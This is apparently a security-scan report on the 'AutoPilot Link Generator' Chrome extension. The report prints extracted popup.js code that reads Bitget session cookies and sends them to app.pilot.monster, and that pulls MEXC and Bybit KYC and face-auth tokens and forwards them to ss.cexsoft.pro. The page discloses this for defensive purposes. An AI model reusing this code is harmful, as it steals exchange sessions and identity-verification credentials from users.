Is AutoPilot Link Generator safe?

Critical risk

AutoPilot Link Generator is critical risk. Clicking Bitget Generate Link requires an active Bitget tab, reads all cookies for bitget.com/bitget.site, and sends each name, value, and domain to app.pilot.monster. The POST also carries the extension key, country, and user agent.…

AutoPilotv1.0.34Chrome Web Store
97Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Bitget link flow sends site cookies to app.pilot.monster

Clicking Bitget Generate Link requires an active Bitget tab, reads all cookies for bitget.com/bitget.site, and sends each name, value, and domain to app.pilot.monster.

The POST also carries the extension key, country, and user agent.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start the Bitget Generate Link flow from the popup.

The flow only continues when the active tab is on bitget.com or bitget.site.

The extension did this

The extension reads Bitget cookies and sends them to app.pilot.monster.

The request also includes a country value, your browser user agent, the Bitget origin, and the extension key.

Fields constructed for the Bitget link POST
  • Bitget cookie names
    bt_sso_id (illustrative)

    This identifies which Bitget session and preference cookies exist in your browser.

  • Bitget cookie values
    bt_session=redacted-value-9f2a (illustrative)

    Cookie values can identify or authenticate your Bitget web session when accepted by the receiving service.

  • Cookie domain
    .bitget.com (illustrative)

    This tells the receiving service whether the cookie came from bitget.com or bitget.site.

  • Browser user agent
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0 Safari/537.36 (illustrative)

    This adds your browser and operating-system context to the link request.

  • Bitget origin
    https://www.bitget.com

    This records which Bitget site the active tab used when the link was generated.

Captured request
POSThttps://app.pilot.monster/api/extension/bitget-link
Headers
Content-Type
application/json
The code that does this

Cookie collection and Bitget link POST in popup.js

Readable version

Active Bitget tab check

extracted/popup.js
async function requireActiveBitgetTab() {  const tab = await getActiveTab();  if (!tab?.url || !tab?.id) throw new Error('Open bitget.com and try again.');  const url = new URL(tab.url);  if (!isBitgetHost(url.hostname)) throw new Error('Open bitget.com and try again.');  activeTabId = tab.id;  bitgetOrigin = normalizeBitgetOrigin(url.hostname);}

Cookie collection

extracted/popup.js
function collectBitgetCookies() {  return new Promise(resolve => {    try {      const domain = String(bitgetOrigin || '').includes('bitget.site') ? 'bitget.site' : 'bitget.com';      chrome.cookies.getAll({ domain }, cookies => {        resolve((cookies || []).map(cookie => ({          name: cookie.name,          value: cookie.value,          domain: cookie.domain        })));      });    } catch {      resolve([]);    }  });}

POST to app.pilot.monster

extracted/popup.js
async function mintBitgetLink(cookies, country) {  const payload = {    key: await getApiKey(),    cookies,    country: country || '',    user_agent: navigator.userAgent,    origin: bitgetOrigin || 'https://www.bitget.com'  };  const response = await fetch('https://app.pilot.monster/api/extension/bitget-link', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify(payload)  });  if (!response.ok) throw new Error('Mint request failed');  const json = await response.json();  if (!json.success) throw new Error(json.error || 'Mint returned failure');  return json;}

Generate Link handler

extracted/popup.js
async function onBitgetGenerateLinkClick() {  clearBitgetLinkUi();  await requireActiveBitgetTab();  const cookies = await collectBitgetCookies();  if (!cookies.length) throw new Error('No bitget.com cookies found');  const result = await mintBitgetLink(cookies, selectedCountry || '');  if (result.sdk_type !== 'bitget_native') throw new Error('Unsupported sdk_type');  showBitgetLink(result.bitget_url);}
External service receiving the Bitget link request
    • app.pilot.monster

    Receives the Bitget cookie list and browser context, then returns a Bitget verification link.

MEXC face-auth tokens are forwarded to ss.cexsoft.pro

MEXC KYC, rewards, risk-control, and withdrawal flows run in an active MEXC tab, hit KYC/face-auth endpoints with browser credentials, and extract access tokens sent with an email-derived ID to ss.cexsoft.pro/generate_proxy_link.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start one of the MEXC Generate Link flows from the popup.

The flow requires an active www.mexc.com or www.mexc.fm tab.

The extension did this

The extension reads a MEXC verification token and sends it to ss.cexsoft.pro.

The same proxy-link sender is used for initial KYC, rewards face checks, risk-control checks, and withdrawal face checks.

Fields constructed for the MEXC proxy-link POST
  • Initial KYC access token
    mexc_kyc_access_token_7b21c0 (illustrative)

    This credential can identify or authorize a MEXC KYC verification session tied to your account.

  • Face-auth access token
    sumsub_face_token_4c19f8 (illustrative)

    This credential can identify or authorize a MEXC rewards, risk-control, or withdrawal face-auth session.

  • Email-derived identifier
    jane***@example.com_mexc_withdraw_face (illustrative)

    This ties the generated proxy link to your MEXC account identity or to a generated local address when the email cannot be read.

  • SDK type and source
    sdkType=sumsub, source=chrome_extension

    This tells the receiving service that the token is for a Sumsub-style link generated by the browser extension.

  • MEXC site origin
    https://www.mexc.com

    This determines which MEXC site the extension uses for credential-included API calls.

Captured request
POSThttps://ss.cexsoft.pro/generate_proxy_link
Headers
Content-Type
application/json
The code that does this

MEXC token extraction and proxy-link POST in popup.js

Readable version

Initial KYC token fetch

extracted/popup.js
async function getMexcInitialKycToken(baseUrl = 'https://www.mexc.com') {  const countryCode = 'UA';  const cardType = '2';  const init = await postMexcJson(    baseUrl + '/ucenter/api/kyc_senior/self_init?countryCode=' + countryCode + '&cardType=' + cardType,    null  );  const recordId = init.data?.recordId;  const applicantId = init.data?.applicantId;  if (!recordId || !applicantId) throw new Error('Failed to get recordId or applicantId');  const tokenResponse = await postMexcJson(baseUrl + '/ucenter/api/kyc_senior/access_token', {    countryCode, cardType, recordId, applicantId  });  const accessToken = tokenResponse.data?.accessToken;  if (!accessToken) throw new Error('Failed to get access token');  return { ok: true, token: accessToken };}

Rewards/risk face token fetch

extracted/popup.js
async function getMexcFaceToken(baseUrl = 'https://www.mexc.com', faceId, businessNo) {  if (!faceId) {    const response = await fetch(baseUrl + '/ucenter/api/face_auth/sumsub/face_id', {      method: 'POST',      headers: { accept: '*/*', 'content-type': 'application/json', language: 'ru-RU' },      credentials: 'include',      body: JSON.stringify({ bizType: 'RISK_ALL_LINK', bizId: businessNo })    });    const json = await response.json();    const accessToken = json.data?.accessToken;    const newFaceId = json.data?.faceId;    if (!accessToken) throw new Error('No access token in sumsub/face_id response');    return { ok: true, accessToken, faceId: newFaceId };  }  const response = await fetch(baseUrl + '/ucenter/api/face_auth/access_token', {    method: 'POST',    headers: { accept: '*/*', 'content-type': 'application/json', language: 'ru-RU' },    credentials: 'include',    body: JSON.stringify({ faceId, bizId: businessNo })  });  const json = await response.json();  return { ok: true, accessToken: json.data?.accessToken, faceId: json.data?.faceId };}

Risk-control face token fetch

extracted/popup.js
async function getMexcRiskControlFaceToken(baseUrl = 'https://www.mexc.com') {  const response = await fetch(baseUrl + '/ucenter/api/face_auth/sumsub/face_id', {    method: 'POST',    headers: { accept: '*/*', 'content-type': 'application/json', language: 'en-US' },    credentials: 'include',    body: JSON.stringify({ bizType: 'SELF_SERVICE_APPLY_REMOVE_RISK' })  });  const json = await response.json();  if (json?.code === 11380) return { ok: true, noFace: true };  const accessToken = json.data?.accessToken;  if (!accessToken) throw new Error('No access token in sumsub/face_id response');  return { ok: true, accessToken };}

Withdrawal face token fetch

extracted/popup.js
async function getMexcWithdrawFaceToken(baseUrl = 'https://www.mexc.com', faceId, bizId) {  const endpoint = faceId ? '/ucenter/api/face_auth/access_token' : '/ucenter/api/face_auth/sumsub/face_id';  const body = faceId ? { faceId, bizId } : { bizType: 'WITHDRAW_RISK', bizId };  const response = await fetch(baseUrl + endpoint, {    method: 'POST',    headers: { accept: '*/*', 'content-type': 'application/json', language: 'en-US' },    credentials: 'include',    body: JSON.stringify(body)  });  const json = await response.json();  const accessToken = json.data?.accessToken;  if (!accessToken) throw new Error('No access token in response');  return { ok: true, accessToken, faceId: json.data?.faceId };}

MEXC link wrappers

extracted/popup.js
async function createMexcProxyLinks(token, flow) {  const suffix = flow === 'withdraw' ? '_mexc_withdraw_face' : flow === 'initial' ? '_mexc_initial_kyc' : '_mexc_face';  const identifier = await readMexcEmail() + suffix;  return await postProxyLink('sumsub', token, null, identifier);}async function postProxyLink(sdkType, token, workflowRunId = null, email = null, country = null) {  const payload = { key: await getApiKey(), email: email || await readBybitEmail(), sdkType, country: country || 'XX', source: 'chrome_extension' };  if (sdkType === 'sumsub') payload.sumsubToken = token;  const response = await fetch('https://ss.cexsoft.pro/generate_proxy_link', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) });  const json = await response.json();  if (!json.success) throw new Error(json.error || 'API returned failure');  return json.short_link;}
External service receiving the MEXC proxy-link request
    • ss.cexsoft.pro

    Receives MEXC KYC, risk-control, reward, or withdrawal face-auth tokens and returns a generated proxy link.

Bybit KYC tokens are forwarded to ss.cexsoft.pro

Clicking Bybit Generate Link injects code into an active Bybit/BybitGlobal/Bytick tab, calls Bybit's KYC endpoints with credentials, and extracts a Sumsub/Onfido/Jumio credential sent with an email ID to ss.cexsoft.pro/generate_proxy_link.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start the Bybit KYC Generate Link flow from the popup.

The flow requires an active Bybit, BybitGlobal, or Bytick tab.

The extension did this

The extension reads a Bybit verification credential and sends it to ss.cexsoft.pro.

The POST includes the token or provider URL together with an email-derived identifier and extension metadata.

Fields constructed for the Bybit proxy-link POST
  • KYC provider token
    sumsubToken=eyJhbGciOiJIUzI1NiJ9.bybit-session-token (illustrative)

    This credential can identify or authorize your identity-verification session with the provider named by Bybit.

  • Provider workflow URL
    https://id.onfido.com/workflow_runs/5f6c2a9b (illustrative)

    For Onfido or Jumio flows, this can point to a verification workflow tied to your account.

  • Email-derived identifier
    jane***@example.com_bybit_initial_kyc (illustrative)

    This ties the generated proxy link to your Bybit account identity or to a generated local address when the email cannot be read.

  • SDK type and source
    sdkType=sumsub, source=chrome_extension

    This tells the receiving service which verification provider is being proxied and that the request came from the browser extension.

  • Country
    UA (illustrative)

    This adds country context used by the verification-link generation flow.

Captured request
POSThttps://ss.cexsoft.pro/generate_proxy_link
Headers
Content-Type
application/json
The code that does this

Bybit token extraction and proxy-link POST in popup.js

Readable version

Bybit Generate Link handler

extracted/popup.js
async function onBybitGenerateLinkClick() {  clearBybitUi();  await requireActiveBybitTab();  const [{ result }] = await chrome.scripting.executeScript({    target: { tabId: activeTabId },    world: 'MAIN',    func: collectBybitKycToken,    args: [bybitBaseUrl]  });  if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error');  if (result.status === 'kyc_token' && result.token) {    await createBybitProxyLink(result.token, result.provider, result.workflowRunId || null);  }}

KYC token endpoint excerpt inside Vo

extracted/popup.js
async function collectBybitKycToken(baseUrl) {  for (const country of candidateCountries) {    const response = await postJson(      baseUrl + '/x-api/v3/private/kyc/get-verification-sdk-info',      { country, doc_type: 'KYC_DOC_TYPE_ID', announced: true }    );    const parsed = parseProviderToken(response);    if (parsed.token) {      return {        ok: true,        status: 'kyc_token',        token: parsed.token,        provider: parsed.provider,        workflowRunId: parsed.workflowRunId      };    }  }  return { ok: true, status: 'kyc_token', token: '' };}

Provider dispatch after token extraction

extracted/popup.js
async function createBybitProxyLink(token, provider = 'PROVIDER_SUMSUB', workflowRunId = null) {  const email = await readBybitEmail();  const identifier = email + '_bybit_initial_kyc';  if (provider === 'PROVIDER_ONFIDO' || provider === 'ONFIDO') {    generatedLink = await postOnfidoLink(token, workflowRunId, identifier);  } else if (provider === 'PROVIDER_JUMIO_NEW') {    generatedLink = await postJumioLink(token, workflowRunId, identifier);  } else {    generatedLink = await postSumsubLink(token, identifier);  }}

Proxy-link POST builder

extracted/popup.js
async function postProxyLink(sdkType, token, workflowRunId = null, email = null, country = null) {  const payload = {    key: await getApiKey(),    email: email || await readBybitEmail(),    sdkType,    country: country || 'XX',    source: 'chrome_extension'  };  if (sdkType === 'sumsub') payload.sumsubToken = token;  if (sdkType === 'onfido') {    payload.onfidoToken = token;    payload.workflowRunId = workflowRunId;  }  if (sdkType === 'jumio') payload.jumioUrl = workflowRunId;  const response = await fetch('https://ss.cexsoft.pro/generate_proxy_link', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify(payload)  });  const json = await response.json();  if (!json.success) throw new Error(json.error || 'API returned failure');  return json.short_link;}
External service receiving the Bybit proxy-link request
    • ss.cexsoft.pro

    Receives Bybit KYC provider credentials and returns a generated proxy link.

Updated 30 September 2026maogfegbjecdgkfnkemoalpbgodknmaa